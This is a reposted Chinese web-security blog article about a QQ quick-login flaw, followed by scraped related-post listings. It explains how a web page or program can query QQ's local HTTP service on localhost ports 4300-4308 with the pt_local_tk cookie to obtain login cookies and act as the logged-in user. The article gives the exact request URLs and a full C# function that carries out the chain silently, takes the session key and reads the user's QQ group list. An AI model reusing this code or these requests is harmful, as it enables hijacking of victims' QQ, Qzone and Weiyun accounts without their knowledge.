web安全:QQ号快速登录漏洞及被盗原理

 

为什么你什么都没干,但QQ空间中却发了很多小广告?也许你的QQ账号已经被盗。本文将讲解一个QQ的快速登录的漏洞。

我前阵子在论坛上看到一个QQ的快速登录的漏洞,觉得非常不错,所以把部分原文给转到园子来。

而利用这个漏洞最终可以实现,只要你点击一个页面或运行过一个程序,那么我就可以拥有你的登录权限。可以直接进你邮箱,进你微云,进你QQ空间等....

看懂本篇需要一点点web安全的基础,请移步我的上篇

web安全:通俗易懂,以实例讲述破解网站的原理及如何进行防护!如何让网站变得更安全。

http://www.cnblogs.com/1996V/p/7458377.html

众所周知,Tencent以前使用Activex的方式实施QQ快速登录,在一个陌生浏览器上使用,第一件事就是安装QuickLogin控件。

Activex是插件的意思,比如如果有这个的话,你可以通过浏览器打开一个文档之类。而QuickLogin就是腾讯用来快速登录的Activex。

就在不知道什么时候,快速登录突然不用控件了。

当时很疑惑,Tencent用了什么奇葩的方法做到Web和本地的应用程序交互呢?

在没有插件的情况下,Web页面应该无法直接和本地的应用程序直接交互(除非定义协议,但也只能调起,不能获取程序提供的结果)。
在机缘巧合下(好吧就是闲着无聊看任务管理器发现了本机的httpd,发现Apache在运行的时候)突然意识到了一种可能:如果QQ在本地开了个端口,做了个Web服务器,也就是符合HTTP协议的TCP服务端,然后网页ajax向那个QQ(此时作为Web服务器)发起请求,是不是就可以获得结果呢。

httpd是是Apache超文本传输协议(HTTP)服务器的主程序。被设计为一个独立运行的后台进程,它会建立一个处理请求的子进程或线程的池。

结果真的就是这样,

网页JS向http://localhost.ptlogin2.qq.com(端口从4300-4308,一个个试试到成功)发起GET一个请求
ping一下就会发现是127.0.0.1,一查端口,确实是QQ在用。

第一个请求:/pt_get_uins?callback=ptui_getuins_CB&r=0.5919004196050326&pt_local_tk=399224727
pt_local_tk 来自cookie,管他是什么东西;r就是个随机数

返回的结果是个JSON数组:
var var_sso_uin_list=[{"account":"登录的QQ账号","face_index":-1,"gender":0,"nickname":"你的QQ昵称","uin":"还是你的QQ账号","client_type":66818,"uin_flag":8388612}];ptui_getuins_CB(var_sso_uin_list);

然后用http://ptlogin2.qq.com/getface来获取QQ头像,这里不做讨论

这样你的QQ信息就能显示在Web页面上了。

当你按下你的头像(选择这个登录的时候)

下列请求产生:
http://localhost.ptlogin2.qq.com:4300/pt_get_st?clientuin=你的QQ号&callback=ptui_getst_CB&r=0.7293395590126179&pt_local_tk=399224727
同样的,r是随机数,pt_local_tk是来自cookie,local_token
这个请求做什么事情呢?


嗯,Set-Cookie。

然后继续请求
http://ptlogin2.qq.com/jump?clientuin=你的QQ号&keyindex=19&pt_aid=549000912&daid=5&u1=http%3A%2F%2Fqzs.qzone.qq.com%2Fqzone%2Fv5%2Floginsucc.html%3Fpara%3Dizone&pt_local_tk=1881902769&pt_3rd_aid=0&ptopt=1&style=40
这里唯一的u1就是目标地址

这个请求将返回所有需要的cookie,至此你就登录成功了。

这些Cookie就相当于令牌,有了这个令牌就可以拥有快速登录的权限,就相当于你登录一般的网站,账号密码进去,后台会给浏览器注册一条Token来做状态验证一样。

也就是说,拿到了Cookie,你就可以通过CSRF(跨站伪装)的形式,来搞好多事情。

可以在网站上放一个页面,里面跑http请求,或者搞个窗体,里面也跑http请求。

只要你电脑上登录了QQ,只要你打开了这个页面或者打开了这个窗体,那么你的账号就已经被入侵!

不需要输入账号密码,可以直接拿着QQ空间发表留言的接口直接调用,可以直接爬虫抓相册图片,可以进微云等等等等。

我再放个 论坛上的一个人根据这个漏洞进行的实例,

他做的是QQ群的一个验证的实例

思路是:访问任意QQ网站登录都会在本地产生Cookie,

然后获取这个Cookie中的pt_local_token

进而获取一切。

public static bool VerifyQQGroupYesNo(string VerifyQQGroupNum)
{
/// <summary>
/// QQ群授权验证YesNo
/// </summary>
bool YesNo = false;
///随机数处理
Random random = new Random();
string randomstr = (Convert.ToDouble(random.Next(1, 99)) / Math.PI / 100).ToString();
try
{
///定义string类型pt_local_tk 、localhost_str
string pt_local_tk = string.Empty, localhost_str = string.Empty; //QQ会员中心Url
string LoginUrl = "http://xui.ptlogin2.qq.com/cgi-bin/xlogin?appid=8000201&style=20&s_url=http%3A%2F%2Fvip.qq.com%2Floginsuccess.html&maskOpacity=60&daid=18&target=self"; //Get方式Http1.1访问QQ会员中心
Zmoli775.HTTP.GetHttp1_1(LoginUrl); //获取访问QQ会员中心生成Cookies->pt_local_tk值
pt_local_tk = HTTP.Cookies.GetCookies(new Uri("http://ptlogin2.qq.com"))["pt_local_token"].Value; /*
https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&r=0.22949112393586502&pt_local_tk=-2027291081
*/ //自动登录[1]->返回QQ号、client_type、QQ头像代码face_index、性别、QQ昵称、uin、uin_flag
localhost_str = Zmoli775.HTTP.Get("https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&r=" + randomstr + "&pt_local_tk=" + pt_local_tk + "", LoginUrl); //正则截取返回JSON字符串
if (!string.IsNullOrEmpty(localhost_str = Regex.Match(localhost_str, "(?i)(?<=var_sso_uin_list=).*?(?=;)").Value))
{
JArray JArray = (JArray)JsonConvert.DeserializeObject(localhost_str); for (int i = 0; i < JArray.Count; i++)
{ //自动登录[2]->var_sso_get_st_uin登录失败返回:ptui_qlogin_CB('-1', 'http://qun.qzone.qq.com/group', '登录失败,请稍后再试。*'); string var_sso_get_st_uin = Zmoli775.HTTP.Get("http://localhost.ptlogin2.qq.com:4300/pt_get_st?clientuin=" + JArray[i]["account"] + "&callback=ptui_getst_CB&r=" + randomstr + "&pt_local_tk=" + pt_local_tk + "", LoginUrl); //登录目标地址
string LoginDestinationAddress = "https://ssl.ptlogin2.qq.com/jump?clientuin=" + JArray[i]["account"] + "&keyindex=9&pt_aid=549000912&daid=5&u1=http%3A%2F%2Fqun.qzone.qq.com%2Fgroup&pt_local_tk=" + pt_local_tk + "&pt_3rd_aid=0&ptopt=1&style=40"; //登录目标地址Referer
string LoginDestinationAddressReferer = "https://ui.ptlogin2.qq.com/cgi-bin/login?appid=549000912&daid=5&style=12&s_url=http%3A%2F%2Fqun.qzone.qq.com%2Fgroup"; //LoginOK登录成功返回访问地址生成关键Cookies
string LoginOK = Zmoli775.HTTP.Get(LoginDestinationAddress, LoginDestinationAddressReferer); //正则截取Url
string skey = Regex.Match(LoginOK, "(?i)(?<=ptui_qlogin_CB\\('0', ').*?(?=',)").Value; if (!string.IsNullOrEmpty(skey))
{
//Get方式Http1.1访问截取Url
Zmoli775.HTTP.GetHttp1_1(skey);
}
///获取QQ群页面产生的Cookies->skey
skey = HTTP.Cookies.GetCookies(new Uri("http://ptlogin2.qzone.qq.com"))["skey"].Value; if (!string.IsNullOrEmpty(skey))///判断Cookies->skey
{
string QQGroupList = string.Empty, QQGroupListJson = string.Empty;
QQGroupList = Zmoli775.HTTP.Get("http://qun.qzone.qq.com/cgi-bin/get_group_list?uin=" + JArray[i]["account"] + "&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20WOW64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F50.0.2661.102%20Safari%2F537.36&random=" + randomstr + "&g_tk=" + Convert.ToString(Zmoli775.HTTP.Getg_tk(skey)) + "", LoginDestinationAddressReferer); //正则取QQ群列表信息
QQGroupListJson = Regex.Match(QQGroupList, "(?i)(?<=_Callback\\().*?(?=\\);)").Value; if (!string.IsNullOrEmpty(QQGroupListJson))
{
JArray Jarray = (JArray)JsonConvert.DeserializeObject(Convert.ToString(((JObject)JsonConvert.DeserializeObject(QQGroupListJson))["data"]["group"]));
JArray JA = (JArray)JsonConvert.DeserializeObject(Convert.ToString(Jarray));
for (int y = 0; y < JA.Count; y++)
{
if (JA[y]["groupid"].ToString() == VerifyQQGroupNum) YesNo = true;///如果获取到的QQ群号码和需要验证的QQ群号码一致则设置YesNo 值为true
}
}
}
}
}
if (YesNo)//如果值为true
{
MessageBox.Show("QQ群验证成功!", "软件授权提示!", MessageBoxButtons.OK, MessageBoxIcon.Information);
return true;
}
else
{
MessageBox.Show("QQ群验证失败!", "软件授权提示!", MessageBoxButtons.OK, MessageBoxIcon.Error);
return false;
}
}
catch (Exception)
{
MessageBox.Show("QQ群验证失败!", "软件授权提示!", MessageBoxButtons.OK, MessageBoxIcon.Error);
return false;
}
}

 
小曾看世界 2017-09-06 15:44 阅读:2700 评论:33
 
作者:小曾
出处:http://www.cnblogs.com/1996V/p/7481823.html

QQ号快速登录漏洞及被盗原理的更多相关文章

  1. [转帖]web安全:QQ号快速登录漏洞及被盗原理

    web安全:QQ号快速登录漏洞及被盗原理 https://www.cnblogs.com/1996V/p/7481823.html 看了下 QQ的确监听 端口 大神牛B 自己这一块一直没深入学习过.. ...

  2. web安全:QQ号快速登录漏洞及被盗原理

    为什么你什么都没干,但QQ空间中却发了很多小广告?也许你的QQ账号已经被盗.本文将讲解一个QQ的快速登录的漏洞. 我前阵子在论坛上看到一个QQ的快速登录的漏洞,觉得非常不错,所以把部分原文给转到园子来 ...

  3. QQ快速登录协议分析以及风险反思

    前言 众所周知,Tencent以前使用Activex的方式实施QQ快速登录,现在快速登录已经不用控件了.那现在用了什么奇葩的方法做到Web和本地的应用程序交互呢?其实猜测一下,Web和本地应用进行交互 ...

  4. 使用QQ第三方登录时,手机应用和网站应用对同一个QQ号,获取到的openid不一样

    使用QQ第三方登录时,手机应用和网站应用对同一个QQ号,获取到的openid不一样openid生成是根据应用的appid和QQ号的一些信息加密生成,对于一个appid和QQ号来说,openid是唯一的 ...

  5. 【转】如何保护自己的QQ号

    账号丢失的原因 账号被注销 长时间未登陆 如果你的QQ号是普通号码,在连续三个月不登陆的情况下,腾讯公司会自动收回你的账号,也就意味着这个QQ号码从此再也不属于你了,会员号码是不会被收回的,要想不被收 ...

  6. QQ聊天记录快速迁移

    QQ聊天记录快速迁移 在工作中大家经常会用到QQ来沟通,但是很多时候在其它设备上登录QQ就无法查看到之前的聊天记录和图片,这是因为电脑上的QQ聊天记录一般都是保存在电脑本地硬盘里,所以我们在换设备登录 ...

  7. Destoon QQ互联一键登录审核不通过的解决方案

    在QQ互联上申请帐号之后提交了审核, 后台填写APPID和KEY之后自己申请的QQ号可以正常登录,但QQ互联审核的时候一直审核不通过说是“您的网站审核未通过,原因是“点击QQ登录按钮提示登录失败或出现 ...

  8. Java版 QQ空间自动登录无需拷贝cookie一天抓取30WQQ说说数据&流程分析

    QQ空间说说抓取难度比较大,花了一个星期才研究清楚! 代码请移步到GitHub GitHub地址:https://github.com/20100507/Qzone [没有加入多线程,希望你可以参与进 ...

  9. 解决微信公众号授权登录和开放平台微信第三方应用授权登录获取到的用户Openid关联问题

    开发背景: 最近一段时间一直在做关于微信方面的网站应用开发,这段时间也收获的不少关于微信开发方面的开发技能,接触的比较多的主要有微信公众号和微信网站app第三方登录授权,以及微信会员卡,优惠券和扫描二 ...

随机推荐

  1. Python 3 与"Hello World!"

    Python 3 版本 Python的3.0版本,常被称为Python 3000,或简称Py3k.相对于Python的早期版本,这是一个较大的升级.为了不带入过多的累赘,Python 3.0在设计的时 ...

  2. [AngularFire2 & Firestore] Example for collection and doc

    import {Injectable} from '@angular/core'; import {Skill} from '../models/skills'; import {AuthServic ...

  3. Android开发经验之在图片上随意点击移动文字

    只要在图片范围之内,文字可随意点击移动. package xiaosi.GetTextImage; import android.content.Context; import android.con ...

  4. 5.Node.js 安装配置

    转自:http://www.runoob.com/nodejs/nodejs-tutorial.html Node.js安装包及源码下载地址为:https://nodejs.org/en/downlo ...

  5. 解读OpenRTB(实时竞价)生态系统

    最近3年,广告实时竞价(RealTimeBidding)模式逐渐流行起来. 2012年大致了解过,最近一段时间,重新温习下. 半壁江山 生态系统总的来说分为2个部分,卖方和买方. 卖方:媒体,即拥有广 ...

  6. 洛谷 P2655 2038年问题

    P2655 2038年问题 题目描述 网络时代,机会与危机共存.“千年虫”解决之后,会不会有新的“虫”出现?回答是肯定的,“2038年”就是一个新的关卡. 也许大家都已经知道计算机的2000年问题是什 ...

  7. 读《互联网创业password》之随想

    活动地址:http://blog.csdn.net/blogdevteam/article/details/38657235. 现如今.互联网已经深深的影响了中国人的日常生活习惯,曾经那种通过网络进行 ...

  8. string-format样式使用

    首先我们看如下代码 protected String calcu1() { StringBuffer resultB = new StringBuffer(); String str = null; ...

  9. BZOJ 4555 [Tjoi2016&Heoi2016]求和 (多项式求逆)

    题目链接: https://www.lydsy.com/JudgeOnline/problem.php?id=4555 题目大意: 给定 \(S(n,m)\) 表示第二类斯特林数,定义函数 \(f(n ...

  10. bootstrap tab页

    ---恢复内容开始--- <!DOCTYPE html> <html> <head> <title>Bootstrap 实例</title> ...